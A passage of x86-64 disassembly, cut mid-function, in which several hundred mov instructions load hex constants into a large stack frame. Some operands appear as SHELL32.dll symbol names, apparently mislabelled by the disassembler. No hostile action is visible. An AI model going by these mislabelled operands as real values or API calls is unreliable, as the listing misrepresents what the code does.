mov qword [rsp + 0xe148], rax
mov eax, 0x7d2
mov word [rsp + 0x1a48], ax
movabs rax, 0x71f0b60ba64d43
mov qword [rsp + 0xe150], rax
mov eax, 0x373
mov word [rsp + 0x1a4c], ax
mov byte [rsp + 0x27b], 0xed
mov byte [rsp + 0x27c], 0xe1
mov dword [rsp + 0x71dc], 0x6b9d
movabs rax, 0x772f233727d536
mov qword [rsp + 0xe158], rax
movabs rax, 0x76adb3f43e561e
mov qword [rsp + 0xe160], rax
movabs rax, 0x70ccaf34a9c521
mov qword [rsp + 0xe168], rax
mov eax, 0x222
mov word [rsp + 0x1a50], ax
mov dword [rsp + 0x71e0], 0x3f4f
movabs rax, 0x704c79cb3321ad
mov qword [rsp + 0xe170], rax
movabs rax, 0x7499106311b01f
mov qword [rsp + 0xe178], rax
mov byte [rsp + 0x27d], 0xf3
movabs rax, 0x744b4181635544
mov qword [rsp + 0xe180], rax
movabs rax, 0x73ef3c76c551d8
mov qword [rsp + 0xe188], rax
mov dword [rsp + 0x71e4], 0xeea
mov byte [rsp + 0x27e], 0x60
mov byte [rsp + 0x27f], 5
mov eax, 0x3ab
mov word [rsp + 0x1a54], ax
mov eax, 0x7a0
mov word [rsp + 0x1a58], ax
mov dword [rsp + 0x71e8], 0xb240
mov byte [rsp + 0x280], 0x1b
mov byte [rsp + 0x281], 0x82
movabs rax, 0x77c397b650d766
mov qword [rsp + 0xe190], rax
mov byte [rsp + 0x282], 0x4f
mov byte [rsp + 0x283], 0x26
mov eax, 0x3b7
mov word [rsp + 0x1a5c], ax
mov byte [rsp + 0x284], ILCreateFromPathW
mov eax, 0x4b0
mov word [rsp + 0x1a60], ax
movabs rax, 0x73484f0ce02190
mov qword [rsp + 0xe198], rax
movabs rax, 0x746541a88048e4
mov qword [rsp + 0xe1a0], rax
mov dword [rsp + 0x71ec], 0xf6f
mov byte [rsp + reloc.SHELL32.dll_SHChangeNotification_Unlock], 0xf5
mov eax, 0xd61
mov word [rsp + 0x1a64], ax
movabs rax, 0x7aa22858f5ff2e
mov qword [rsp + 0xe1a8], rax
mov eax, 0x37c
mov word [rsp + 0x1a68], ax
mov dword [rsp + 0x71f0], 0x7210
movabs rax, 0x7698918c29ecce
mov qword [rsp + 0xe1b0], rax
mov eax, 0x87c
mov word [rsp + 0x1a6c], ax
movabs rax, 0x7047a70a41bbff
mov qword [rsp + 0xe1b8], rax
mov eax, PathMakeUniqueName
mov word [rsp + 0x1a70], ax
movabs rax, 0x7704f96ab58ba1
mov qword [rsp + 0xe1c0], rax
mov eax, 0xe0
mov word [rsp + 0x1a74], ax
mov eax, 0x422
mov word [rsp + 0x1a78], ax
mov byte [rsp + 0x286], 0x76
mov eax, 0x460
mov word [rsp + 0x1a7c], ax
mov dword [rsp + 0x71f4], 0x2b31
mov eax, 0x5c5
mov word [rsp + 0x1a80], ax
mov byte [rsp + 0x287], 0x7c
xor eax, eax
mov word [rsp + 0x1a84], ax
mov byte [rsp + 0x288], ILIsParent
mov byte [rsp + 0x289], ILRemoveLastID
mov dword [rsp + 0x71f8], 0xc01e
mov eax, 0x7a4
mov word [rsp + 0x1a88], ax
mov byte [rsp + 0x28a], 0xb6
mov byte [rsp + 0x28b], 0x77
mov byte [rsp + 0x28c], 0xf3
mov dword [rsp + 0x71fc], 0x2576
movabs rax, 0x77ce9a1dc488c4
mov qword [rsp + 0xe1c8], rax
movabs rax, 0x7da491cfcae66b
mov qword [rsp + 0xe1d0], rax
mov dword [rsp + 0x7200], 0x4b6e
mov dword [rsp + 0x7204], 0x5854
mov dword [rsp + 0x7208], 0x4b8b
mov eax, ILCreateFromPathW
mov word [rsp + 0x1a8c], ax
mov dword [rsp + 0x720c], 0x5fad
movabs rax, 0x7679032886bd60
mov qword [rsp + 0xe1d8], rax
movabs rax, 0x7747046ab830a2
mov qword [rsp + 0xe1e0], rax
mov byte [rsp + 0x28d], 0x1f
mov byte [rsp + 0x28e], 0xd3
mov byte [rsp + 0x28f], 0xa2
mov eax, 0x1db
mov word [rsp + 0x1a90], ax
movabs rax, 0x7d2c4924886071
mov qword [rsp + 0xe1e8], rax
movabs rax, 0x707bc8b8e48965
mov qword [rsp + 0xe1f0], rax
mov dword [rsp + 0x7210], 0x18c5
mov dword [rsp + 0x7214], 0x40bd
mov byte [rsp + 0x290], 0xe7
mov byte [rsp + 0x291], 0x33
mov eax, 0x5be
mov word [rsp + 0x1a94], ax
mov eax, 0x25
mov word [rsp + 0x1a98], ax
mov eax, 0xb0e
mov word [rsp + 0x1a9c], ax
mov dword [rsp + 0x7218], 0x5875
mov dword [rsp + 0x721c], 0x702b
mov dword [rsp + 0x7220], 0x8b9
movabs rax, 0x73b011ac2166df
mov qword [rsp + 0xe1f8], rax
movabs rax, 0x7aeb1db7fe276a
mov qword [rsp + 0xe200], rax
mov eax, 0x24b
mov word [rsp + 0x1aa0], ax
mov dword [rsp + 0x7224], 0x6947
movabs rax, 0x7480b9578aabe8
mov qword [rsp + 0xe208], rax
movabs rax, 0x7001dbca1b4d6c
mov qword [rsp + 0xe210], rax
movabs rax, 0x77738d3e881410
mov qword [rsp + 0xe218], rax
mov eax, 0x5a6
mov word [rsp + 0x1aa4], ax
movabs rax, 0x7156bbb6baeb42
mov qword [rsp + 0xe220], rax
mov dword [rsp + 0x7228], 0x175
movabs rax, 0x7a06c7fb30a6b8
mov qword [rsp + 0xe228], rax
mov dword [rsp + 0x722c], 0x475c
mov byte [rsp + 0x292], 0x41
mov dword [rsp + 0x7230], 0x963
movabs rax, 0x7ae31c736ab4d1
mov qword [rsp + 0xe230], rax
mov dword [rsp + 0x7234], 0x2572
mov eax, 0x305
mov word [rsp + 0x1aa8], ax
mov byte [rsp + 0x293], 0x77
mov byte [rsp + 0x294], ILGetNext
mov dword [rsp + 0x7238], 0x6830
mov eax, 0x435
mov word [rsp + 0x1aac], ax
movabs rax, 0x7c1f70843c2f65
mov qword [rsp + 0xe238], rax
mov dword [rsp + 0x723c], 0x5eec
mov eax, 0x510
mov word [rsp + 0x1ab0], ax
movabs rax, 0x773c50413a8e2f
mov qword [rsp + 0xe240], rax
mov dword [rsp + 0x7240], 0x583f
mov byte [rsp + 0x295], PathMakeUniqueName
mov dword [rsp + 0x7244], 0x32cc
movabs rax, 0x7091f8bde6fe62
mov qword [rsp + 0xe248], rax
mov eax, 0x562
mov word [rsp + 0x1ab4], ax
movabs rax, 0x7568a4e98d138a
mov qword [rsp + 0xe250], rax
mov eax, 0x502
mov word [rsp + 0x1ab8], ax
mov eax, 0x4fa
mov word [rsp + 0x1abc], ax
mov eax, 0x79a
mov word [rsp + 0x1ac0], ax
movabs rax, 0x7d8ee873be2756
mov qword [rsp + 0xe258], rax
mov dword [rsp + 0x7248], 0x807
mov dword [rsp + 0x724c], 0x19ca
movabs rax, 0x7dacb9c207ee1e
mov qword [rsp + 0xe260], rax
mov byte [rsp + 0x296], SHDoDragDrop
mov byte [rsp + 0x297], 0x1b
mov dword [rsp + 0x7250], 0x4588
mov dword [rsp + 0x7254], 0x683c
movabs rax, 0x78595fab313186
mov qword [rsp + 0xe268], rax
mov dword [rsp + 0x7258], 0x8192
mov byte [rsp + 0x298], 0x8a
mov byte [rsp + 0x299], 0x78
mov eax, 0x91a
mov word [rsp + 0x1ac4], ax
movabs rax, 0x723d82efe2f48f
mov qword [rsp + 0xe270], rax
mov dword [rsp + 0x725c], 0xe95e
mov dword [rsp + 0x7260], 0x1845
mov eax, 0xf81
mov word [rsp + 0x1ac8], ax
mov byte [rsp + 0x29a], 0x88
movabs rax, 0x7953f13e1dc7fe
mov qword [rsp + 0xe278], rax
mov dword [rsp + 0x7264], 0xc065
mov dword [rsp + 0x7268], 0xe6f4
mov dword [rsp + 0x726c], 0xbd63
mov dword [rsp + 0x7270], 0x789a
mov byte [rsp + 0x29b], 0xd5
movabs rax, 0x77cc4235e98552
mov qword [rsp + 0xe280], rax
mov eax, 0x67
mov word [rsp + 0x1acc], ax
mov dword [rsp + 0x7274], 0x5fe2
movabs rax, 0x73f1075e68de63
mov qword [rsp + 0xe288], rax
mov dword [rsp + 0x7278], 0xf44
movabs rax, 0x710873eba3814a
mov qword [rsp + 0xe290], rax
mov eax, 0x46a
mov word [rsp + 0x1ad0], ax
mov dword [rsp + 0x727c], 0xea6
mov dword [rsp + 0x7280], 0x60f8
mov eax, 0x29a
mov word [rsp + 0x1ad4], ax
mov eax, 0x2fd
mov word [rsp + 0x1ad8], ax
mov dword [rsp + 0x7284], 0x2e9d
mov eax, 0x2a7
mov word [rsp + 0x1adc], ax
mov eax, 0xf62
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x7288], 0x86ce
mov eax, 0x312
mov word [rsp + 0x1ae4], ax
mov eax, 0xb
mov word [rsp + 0x1ae8], ax
movabs rax, 0x79d13895907b6c
mov qword [rsp + 0xe298], rax
mov eax, 0x513
mov word [rsp + 0x1aec], ax
mov dword [rsp + 0x728c], 0xf586
mov eax, 0x19b
mov word [rsp + 0x1af0], ax
movabs rax, 0x728cb70b4ba8c0
mov qword [rsp + 0xe2a0], rax
mov eax, 0x346
mov word [rsp + 0x1af4], ax
mov eax, 0x40b
mov word [rsp + 0x1af8], ax
mov dword [rsp + 0x7290], 0xc5b2
mov dword [rsp + 0x7294], 0x2d87
movabs rax, 0x7b5ea8d8f52398
mov qword [rsp + 0xe2a8], rax
mov dword [rsp + 0x7298], 0xf695
mov byte [rsp + 0x29c], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0x29d], PathYetAnotherMakeUniqueName
mov eax, 0x16a
mov word [rsp + 0x1afc], ax
mov dword [rsp + 0x729c], 0x35af
movabs rax, 0x7aad5934501408
mov qword [rsp + 0xe2b0], rax
movabs rax, 0x70cf4cd4ce77a6
mov qword [rsp + 0xe2b8], rax
movabs rax, 0x79a225eb2f3fa3
mov qword [rsp + 0xe2c0], rax
mov dword [rsp + 0x72a0], 0xaec5
mov byte [rsp + 0x29e], 0x35
mov eax, 0x6fa
mov word [rsp + 0x1b00], ax
movabs rax, 0x715e30b360f6af
mov qword [rsp + 0xe2c8], rax
mov eax, 0x5d
mov word [rsp + 0x1b04], ax
movabs rax, 0x74586adf9e651e
mov qword [rsp + 0xe2d0], rax
mov eax, 0x54f
mov word [rsp + 0x1b08], ax
mov byte [rsp + 0x29f], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov dword [rsp + 0x72a4], 0x50d8
mov dword [rsp + 0x72a8], 0x6b2c
mov eax, 0x764
mov word [rsp + 0x1b0c], ax
mov byte [rsp + 0x2a0], PathYetAnotherMakeUniqueName
mov eax, 0x6f2
mov word [rsp + 0x1b10], ax
movabs rax, 0x76bdcd30257154
mov qword [rsp + 0xe2d8], rax
mov eax, 0xeb
mov word [rsp + 0x1b14], ax
mov eax, 0x592
mov word [rsp + 0x1b18], ax
movabs rax, 0x7a7e4109bbc232
mov qword [rsp + 0xe2e0], rax
mov byte [rsp + 0x2a1], 0x8d
mov byte [rsp + 0x2a2], 0x42
mov dword [rsp + 0x72ac], 0xa9a6
mov dword [rsp + 0x72b0], 0x76ee
movabs rax, 0x77902d9f598a66
mov qword [rsp + 0xe2e8], rax
movabs rax, 0x77b8c178b6383c
mov qword [rsp + 0xe2f0], rax
mov byte [rsp + 0x2a3], 0xc4
mov dword [rsp + 0x72b4], 0x4479
mov eax, 0x62b
mov word [rsp + 0x1b1c], ax
mov eax, 0xf18
mov word [rsp + 0x1b20], ax
mov dword [rsp + 0x72b8], 0x9f7
movabs rax, 0x72fb874c1da0d0
mov qword [rsp + 0xe2f8], rax
mov dword [rsp + 0x72bc], 0x8c10
mov dword [rsp + 0x72c0], 0x40fd
movabs rax, 0x713169710444d9
mov qword [rsp + 0xe300], rax
mov eax, 0x804
mov word [rsp + 0x1b24], ax
movabs rax, 0x72b00b4294bab6
mov qword [rsp + 0xe308], rax
mov dword [rsp + 0x72c4], 0xfd02
movabs rax, 0x746e9948b4f660
mov qword [rsp + 0xe310], rax
mov eax, 0x703
mov word [rsp + 0x1b28], ax
mov byte [rsp + 0x2a4], 0xc4
mov byte [rsp + 0x2a5], 0x6b
mov eax, 0x4f6
mov word [rsp + 0x1b2c], ax
mov byte [rsp + 0x2a6], 0xfa
mov dword [rsp + 0x72c8], 0x32a3
mov byte [rsp + 0x2a7], reloc.SHELL32.dll_ILIsParent
mov eax, 0x7f4
mov word [rsp + 0x1b30], ax
mov byte [rsp + 0x2a8], 0x4e
mov eax, 0x2b7
mov word [rsp + 0x1b34], ax
mov dword [rsp + 0x72cc], 0x935d
mov dword [rsp + 0x72d0], 0x19d0
mov dword [rsp + 0x72d4], 0x3869
mov byte [rsp + 0x2a9], ILGetNext
mov dword [rsp + 0x72d8], 0xb7b8
mov dword [rsp + 0x72dc], 0x495a
movabs rax, 0x73e47fb6eeaa37
mov qword [rsp + 0xe318], rax
mov byte [rsp + 0x2aa], 0xcb
movabs rax, 0x745364d6063761
mov qword [rsp + 0xe320], rax
mov byte [rsp + 0x2ab], 0x59
mov eax, 0x3ed
mov word [rsp + 0x1b38], ax
movabs rax, 0x7a80ff1f47728e
mov qword [rsp + 0xe328], rax
mov dword [rsp + 0x72e0], 0x4ef5
mov dword [rsp + 0x72e4], 0x6dd3
mov dword [rsp + 0x72e8], 0x186f
mov eax, 0x513
mov word [rsp + 0x1b3c], ax
movabs rax, 0x7a338331537dcc
mov qword [rsp + 0xe330], rax
mov byte [rsp + 0x2ac], SHSetInstanceExplorer
mov byte [rsp + 0x2ad], 0x6e
mov eax, 0x57f
mov word [rsp + 0x1b40], ax
movabs rax, 0x75c7b9f1a13383
mov qword [rsp + 0xe338], rax
mov eax, 0x11c
mov word [rsp + 0x1b44], ax
mov eax, 0xb8e
mov word [rsp + 0x1b48], ax
mov dword [rsp + 0x72ec], 0x5af3
mov dword [rsp + 0x72f0], 0x7a41
movabs rax, 0x73b5e627430566
mov qword [rsp + 0xe340], rax
movabs rax, 0x7becb7086f0dda
mov qword [rsp + 0xe348], rax
movabs rax, 0x7c0a86ff1282a0
mov qword [rsp + 0xe350], rax
mov byte [rsp + 0x2ae], 0xf8
mov byte [rsp + 0x2af], 0x1e
mov dword [rsp + 0x72f4], 0x581b
mov dword [rsp + 0x72f8], 0xcf8
mov byte [rsp + 0x2b0], 0x61
mov byte [rsp + 0x2b1], 0x86
mov eax, 0x5e3
mov word [rsp + 0x1b4c], ax
mov eax, 0x863
mov word [rsp + 0x1b50], ax
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x1b54], ax
mov byte [rsp + 0x2b2], 0xdf
mov dword [rsp + 0x72fc], 0x1c5c
mov eax, 0xa18
mov word [rsp + 0x1b58], ax
mov dword [rsp + 0x7300], 0x6817
movabs rax, 0x778a22d57438c4
mov qword [rsp + 0xe358], rax
mov dword [rsp + 0x7304], 0x28a8
mov eax, 0x5ba
mov word [rsp + 0x1b5c], ax
movabs rax, 0x71c69803ce8afe
mov qword [rsp + 0xe360], rax
mov dword [rsp + 0x7308], 0x3ad8
mov byte [rsp + 0x2b3], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x730c], 0x4bba
mov byte [rsp + 0x2b4], 0x7e
mov byte [rsp + 0x2b5], 0xe8
mov dword [rsp + 0x7310], 0x9161
mov eax, 0xbe4
mov word [rsp + 0x1b60], ax
mov byte [rsp + 0x2b6], ILCreateFromPathW
movabs rax, 0x7b11e3af9f035b
mov qword [rsp + 0xe368], rax
mov dword [rsp + 0x7314], 0x3677
movabs rax, 0x71e504a07a9ea0
mov qword [rsp + 0xe370], rax
mov dword [rsp + 0x7318], 0x516a
mov eax, 0x3c0
mov word [rsp + 0x1b64], ax
mov eax, 0x697
mov word [rsp + 0x1b68], ax
mov byte [rsp + 0x2b7], PathMakeUniqueName
mov byte [rsp + 0x2b8], 0x40
mov byte [rsp + 0x2b9], 0x34
mov eax, 0x2de
mov word [rsp + 0x1b6c], ax
movabs rax, 0x746ac76c253fd5
mov qword [rsp + 0xe378], rax
mov byte [rsp + 0x2ba], 0x9f
movabs rax, 0x75d984f37e23f5
mov qword [rsp + 0xe380], rax
mov eax, 0xd8e
mov word [rsp + 0x1b70], ax
mov eax, 0xea
mov word [rsp + 0x1b74], ax
movabs rax, 0x7a000c4cc36f98
mov qword [rsp + 0xe388], rax
movabs rax, 0x7559c70418f69e
mov qword [rsp + 0xe390], rax
mov dword [rsp + 0x731c], 0x3635
mov eax, 0xbf8
mov word [rsp + 0x1b78], ax
movabs rax, 0x75ae9470161e8b
mov qword [rsp + 0xe398], rax
mov eax, 0x3d1
mov word [rsp + 0x1b7c], ax
mov eax, 0x354
mov word [rsp + 0x1b80], ax
movabs rax, 0x7e2d9b7f4f01fc
mov qword [rsp + 0xe3a0], rax
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x1b84], ax
mov byte [rsp + 0x2bb], 0xa1
movabs rax, 0x78deb2b2b46003
mov qword [rsp + 0xe3a8], rax
movabs rax, 0x767d5a93c40871
mov qword [rsp + 0xe3b0], rax
mov eax, 0x2e2
mov word [rsp + 0x1b88], ax
mov byte [rsp + 0x2bc], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x2bd], 0x35
mov dword [rsp + 0x7320], 0x4d44
mov dword [rsp + 0x7324], 0x2c98
mov eax, 0x809
mov word [rsp + 0x1b8c], ax
movabs rax, 0x729e061a678e4a
mov qword [rsp + 0xe3b8], rax
mov eax, 0x28f
mov word [rsp + 0x1b90], ax
mov dword [rsp + 0x7328], 0x7b19
mov byte [rsp + 0x2be], 0x33
mov eax, 0x81
mov word [rsp + 0x1b94], ax
movabs rax, 0x72590a9e237b64
mov qword [rsp + 0xe3c0], rax
mov eax, 0x674
mov word [rsp + 0x1b98], ax
mov byte [rsp + 0x2bf], 0x1e
movabs rax, 0x7ce9290fa66053
mov qword [rsp + 0xe3c8], rax
mov dword [rsp + 0x732c], 0x2f85
mov dword [rsp + 0x7330], 0x2b76
movabs rax, 0x7b054c8afaec35
mov qword [rsp + 0xe3d0], rax
movabs rax, 0x790a5eb45fb715
mov qword [rsp + 0xe3d8], rax
mov byte [rsp + 0x2c0], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x704f213ffaaa7a
mov qword [rsp + 0xe3e0], rax
mov eax, 0x7ba
mov word [rsp + 0x1b9c], ax
mov dword [rsp + 0x7334], 0x9464
mov eax, 0x2b4
mov word [rsp + 0x1ba0], ax
mov eax, 0x453
mov word [rsp + 0x1ba4], ax
mov eax, 0x59f
mov word [rsp + 0x1ba8], ax
mov dword [rsp + 0x7338], 0xcc5c
movabs rax, 0x77677b4add9a13
mov qword [rsp + 0xe3e8], rax
mov eax, 0x345
mov word [rsp + 0x1bac], ax
mov eax, 0xba1
mov word [rsp + 0x1bb0], ax
movabs rax, 0x728a7ebdbc8c66
mov qword [rsp + 0xe3f0], rax
mov byte [rsp + 0x2c1], 0x50
movabs rax, 0x7b4a4bc32d9e7e
mov qword [rsp + 0xe3f8], rax
mov byte [rsp + 0x2c2], SHDoDragDrop
mov eax, 0x28e
mov word [rsp + 0x1bb4], ax
mov dword [rsp + 0x733c], 0x1b7
mov dword [rsp + 0x7340], 0x1ce7
movabs rax, 0x780e0c1e4aa171
mov qword [rsp + 0xe400], rax
mov eax, 0x3df
mov word [rsp + 0x1bb8], ax
mov byte [rsp + 0x2c3], 0x1b
mov byte [rsp + 0x2c4], 0x37
mov byte [rsp + 0x2c5], 6
mov eax, 0x606
mov word [rsp + 0x1bbc], ax
mov eax, 0x483
mov word [rsp + 0x1bc0], ax
movabs rax, 0x7efc191f0887ee
mov qword [rsp + 0xe408], rax
mov eax, 0xf55
mov word [rsp + 0x1bc4], ax
mov eax, 0x1d
mov word [rsp + 0x1bc8], ax
mov dword [rsp + 0x7344], 0x5b13
mov eax, 0x224
mov word [rsp + 0x1bcc], ax
mov byte [rsp + 0x2c6], 3
mov byte [rsp + 0x2c7], 0x3d
mov dword [rsp + 0x7348], 0xa3d9
mov byte [rsp + 0x2c8], 0x79
mov byte [rsp + 0x2c9], 0x5e
mov dword [rsp + 0x734c], 0xf31e
movabs rax, 0x736213b4461e4b
mov qword [rsp + 0xe410], rax
mov eax, 0x5aa
mov word [rsp + 0x1bd0], ax
mov dword [rsp + 0x7350], 0x701
mov byte [rsp + 0x2ca], PathMakeUniqueName
mov dword [rsp + 0x7354], 0x576a
mov dword [rsp + 0x7358], 0x3288
mov eax, 0x348
mov word [rsp + 0x1bd4], ax
mov eax, 0x5cc
mov word [rsp + 0x1bd8], ax
mov byte [rsp + 0x2cb], 0x79
mov eax, 0x2b7
mov word [rsp + 0x1bdc], ax
mov eax, 0x63b
mov word [rsp + 0x1be0], ax
mov eax, 0x7b9
mov word [rsp + 0x1be4], ax
movabs rax, 0x77fc0fab15c7a2
mov qword [rsp + 0xe418], rax
mov byte [rsp + 0x2cc], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x2cd], 0x6a
mov eax, 0x893
mov word [rsp + 0x1be8], ax
mov byte [rsp + 0x2ce], PathMakeUniqueName
mov eax, 0xaa
mov word [rsp + 0x1bec], ax
movabs rax, 0x71b2ea0d064a6b
mov qword [rsp + 0xe420], rax
mov eax, 0x666
mov word [rsp + 0x1bf0], ax
movabs rax, 0x7bad8107df72fc
mov qword [rsp + 0xe428], rax
mov byte [rsp + 0x2cf], 0x4c
mov dword [rsp + 0x735c], 0xbe8c
mov dword [rsp + 0x7360], 0x3c46
mov dword [rsp + 0x7364], 0x10f9
mov byte [rsp + 0x2d0], ILCreateFromPathW
mov byte [rsp + PathMakeUniqueName1], 0x2d
movabs rax, 0x7896ba750148bf
mov qword [rsp + 0xe430], rax
movabs rax, 0x737a9c5db0cb61
mov qword [rsp + 0xe438], rax
mov eax, 0x5d8
mov word [rsp + 0x1bf4], ax
mov dword [rsp + 0x7368], 0xaaa
movabs rax, 0x7872368fd4521f
mov qword [rsp + 0xe440], rax
movabs rax, 0x7de9cc3b2651a6
mov qword [rsp + 0xe448], rax
xor eax, eax
mov word [rsp + 0x1bf8], ax
movabs rax, 0x7b00bbd97656ca
mov qword [rsp + 0xe450], rax
mov byte [rsp + 0x2d2], reloc.SHELL32.dll_ILAppendID
mov byte [rsp + 0x2d3], 0xa1
mov dword [rsp + 0x736c], 0x93d0
mov eax, 0x36f
mov word [rsp + 0x1bfc], ax
movabs rax, 0x72c50bff906b65
mov qword [rsp + 0xe458], rax
mov eax, 0x585
mov word [rsp + 0x1c00], ax
mov dword [rsp + 0x7370], 0x414e
movabs rax, 0x75a7713b1b8581
mov qword [rsp + 0xe460], rax
mov dword [rsp + 0x7374], 0x2825
mov eax, 0x7dc
mov word [rsp + 0x1c04], ax
mov dword [rsp + 0x7378], 0x90ac
mov dword [rsp + 0x737c], 0x668b
mov eax, 0x437
mov word [rsp + 0x1c08], ax
mov eax, 0x59e
mov word [rsp + 0x1c0c], ax
movabs rax, 0x7c8c7b56624e3c
mov qword [rsp + 0xe468], rax
mov eax, 0x244
mov word [rsp + 0x1c10], ax
mov dword [rsp + 0x7380], 0x832e
mov dword [rsp + 0x7384], 0x7a22
movabs rax, 0x7408e9c4fa6f46
mov qword [rsp + 0xe470], rax
movabs rax, 0x7d1c8946d96200
mov qword [rsp + 0xe478], rax
movabs rax, 0x7de8ff48e42852
mov qword [rsp + 0xe480], rax
mov eax, 0x171
mov word [rsp + 0x1c14], ax
movabs rax, 0x7318e97d8a73c4
mov qword [rsp + 0xe488], rax
mov eax, 0x1d9
mov word [rsp + 0x1c18], ax
mov dword [rsp + 0x7388], 0xc1cf
mov eax, 0x7fa
mov word [rsp + 0x1c1c], ax
mov dword [rsp + 0x738c], 0x1c60
mov eax, 0x1c5
mov word [rsp + 0x1c20], ax
mov byte [rsp + 0x2d4], SHDoDragDrop
mov dword [rsp + 0x7390], 0x1633
mov byte [rsp + 0x2d5], 0x60
movabs rax, 0x7d80af09578097
mov qword [rsp + 0xe490], rax
mov dword [rsp + 0x7394], 0x4dac
movabs rax, 0x78ef18960a213d
mov qword [rsp + 0xe498], rax
movabs rax, 0x74231993a4d35e
mov qword [rsp + 0xe4a0], rax
movabs rax, 0x7c80591e6c6e22
mov qword [rsp + 0xe4a8], rax
mov eax, 0x242
mov word [rsp + 0x1c24], ax
mov dword [rsp + 0x7398], 0xa2da
mov eax, 0xcf
mov word [rsp + 0x1c28], ax
mov eax, 0x3ed
mov word [rsp + 0x1c2c], ax
mov dword [rsp + 0x739c], 0x58f0
mov byte [rsp + 0x2d6], 0x66
movabs rax, 0x717be04d7e12ca
mov qword [rsp + 0xe4b0], rax
mov eax, 0x2e8
mov word [rsp + 0x1c30], ax
mov dword [rsp + 0x73a0], 0x4989
mov dword [rsp + 0x73a4], 0xfa66
mov byte [rsp + 0x2d7], 0xdb
mov byte [rsp + 0x2d8], 0x36
mov byte [rsp + 0x2d9], ILRemoveLastID
mov dword [rsp + 0x73a8], 0xbaa
mov dword [rsp + 0x73ac], 0x6745
mov byte [rsp + 0x2da], PathYetAnotherMakeUniqueName
mov eax, 0x308
mov word [rsp + 0x1c34], ax
mov dword [rsp + 0x73b0], 0xc600
mov byte [rsp + 0x2db], 0xb5
mov eax, 0x5b7
mov word [rsp + 0x1c38], ax
mov dword [rsp + 0x73b4], 0x6212
mov eax, reloc.SHELL32.dll_ILGetSize
mov word [rsp + 0x1c3c], ax
mov eax, 0x49c
mov word [rsp + 0x1c40], ax
mov byte [rsp + 0x2dc], 0xbf
mov eax, 0x78e
mov word [rsp + 0x1c44], ax
mov eax, 0xea3
mov word [rsp + 0x1c48], ax
movabs rax, 0x74f6f44acc0b6e
mov qword [rsp + 0xe4b8], rax
mov byte [rsp + 0x2dd], ILCreateFromPathW
mov eax, 0x67a
mov word [rsp + 0x1c4c], ax
mov dword [rsp + 0x73b8], 0x7a88
mov eax, 0xb58
mov word [rsp + 0x1c50], ax
movabs rax, 0x7c98e023bfbf0a
mov qword [rsp + 0xe4c0], rax
mov dword [rsp + 0x73bc], 0x5845
mov byte [rsp + 0x2de], SHGetNewLinkInfoW
movabs rax, 0x79cc366cd0cdaf
mov qword [rsp + 0xe4c8], rax
movabs rax, 0x77e7a30526c90d
mov qword [rsp + 0xe4d0], rax
mov dword [rsp + 0x73c0], 0x46c
mov byte [rsp + 0x2df], ILRemoveLastID
mov eax, 0xd95
mov word [rsp + 0x1c54], ax
mov eax, 0x614
mov word [rsp + 0x1c58], ax
mov dword [rsp + 0x73c4], 0x428b
mov eax, 0x7f4
mov word [rsp + 0x1c5c], ax
movabs rax, 0x7564f27f3fd429
mov qword [rsp + 0xe4d8], rax
movabs rax, 0x778fb24ae03938
mov qword [rsp + 0xe4e0], rax
mov eax, 0x560
mov word [rsp + 0x1c60], ax
movabs rax, 0x73791862d1cb27
mov qword [rsp + 0xe4e8], rax
mov eax, 0x158
mov word [rsp + 0x1c64], ax
mov byte [rsp + 0x2e0], 0xc0
mov byte [rsp + 0x2e1], PathYetAnotherMakeUniqueName
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x1c68], ax
mov eax, 0x1f6
mov word [rsp + 0x1c6c], ax
mov dword [rsp + 0x73c8], 0xbba
mov byte [rsp + 0x2e2], 0xca
movabs rax, 0x73c9f76d78cf93
mov qword [rsp + 0xe4f0], rax
mov dword [rsp + 0x73cc], 0x6565
movabs rax, 0x7bc326f5daa224
mov qword [rsp + 0xe4f8], rax
mov eax, 0xf2a
mov word [rsp + 0x1c70], ax
mov byte [rsp + 0x2e3], 0x9d
movabs rax, 0x7e5f438b10daf3
mov qword [rsp + 0xe500], rax
mov byte [rsp + 0x2e4], reloc.SHELL32.dll_PathMakeUniqueName
mov byte [rsp + 0x2e5], ILGetNext
mov byte [rsp + 0x2e6], 0x38
movabs rax, 0x7d69cc4528a806
mov qword [rsp + 0xe508], rax
mov byte [rsp + 0x2e7], 0xf8
movabs rax, 0x71de2eddcf6ff9
mov qword [rsp + 0xe510], rax
movabs rax, 0x72bd74540d1a46
mov qword [rsp + 0xe518], rax
mov eax, 0x4a9
mov word [rsp + 0x1c74], ax
movabs rax, 0x75f3dc04b52136
mov qword [rsp + 0xe520], rax
mov byte [rsp + 0x2e8], 0x69
mov dword [rsp + 0x73d0], 0x5b37
mov byte [rsp + 0x2e9], 0x6f
mov dword [rsp + 0x73d4], 0x4907
mov byte [rsp + 0x2ea], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x73d8], 0x1647
movabs rax, 0x71a1244fed2dd6
mov qword [rsp + 0xe528], rax
movabs rax, 0x782433d850343d
mov qword [rsp + 0xe530], rax
movabs rax, 0x7a9c2a6d8a2be8
mov qword [rsp + 0xe538], rax
mov dword [rsp + 0x73dc], 0x7500
mov eax, 0x3b4
mov word [rsp + 0x1c78], ax
mov dword [rsp + 0x73e0], 0x1da1
mov dword [rsp + 0x73e4], 0x234e
movabs rax, 0x71883f81d262c0
mov qword [rsp + 0xe540], rax
movabs rax, 0x746dd8797cf745
mov qword [rsp + 0xe548], rax
movabs rax, 0x7a3ec1f39dacb9
mov qword [rsp + 0xe550], rax
movabs rax, 0x7957713e7baf4a
mov qword [rsp + 0xe558], rax
movabs rax, 0x72b30776bb3fc9
mov qword [rsp + 0xe560], rax
mov dword [rsp + 0x73e8], 0x550f
mov byte [rsp + 0x2eb], 0x5b
mov byte [rsp + 0x2ec], 0x41
mov eax, 0x2fa
mov word [rsp + 0x1c7c], ax
movabs rax, 0x7215a8b4f96c6c
mov qword [rsp + 0xe568], rax
movabs rax, 0x7d6071cfaaf96e
mov qword [rsp + 0xe570], rax
mov eax, 0x1cb
mov word [rsp + 0x1c80], ax
movabs rax, 0x79fdbef2b91f9d
mov qword [rsp + 0xe578], rax
movabs rax, 0x75b9e076b0d82f
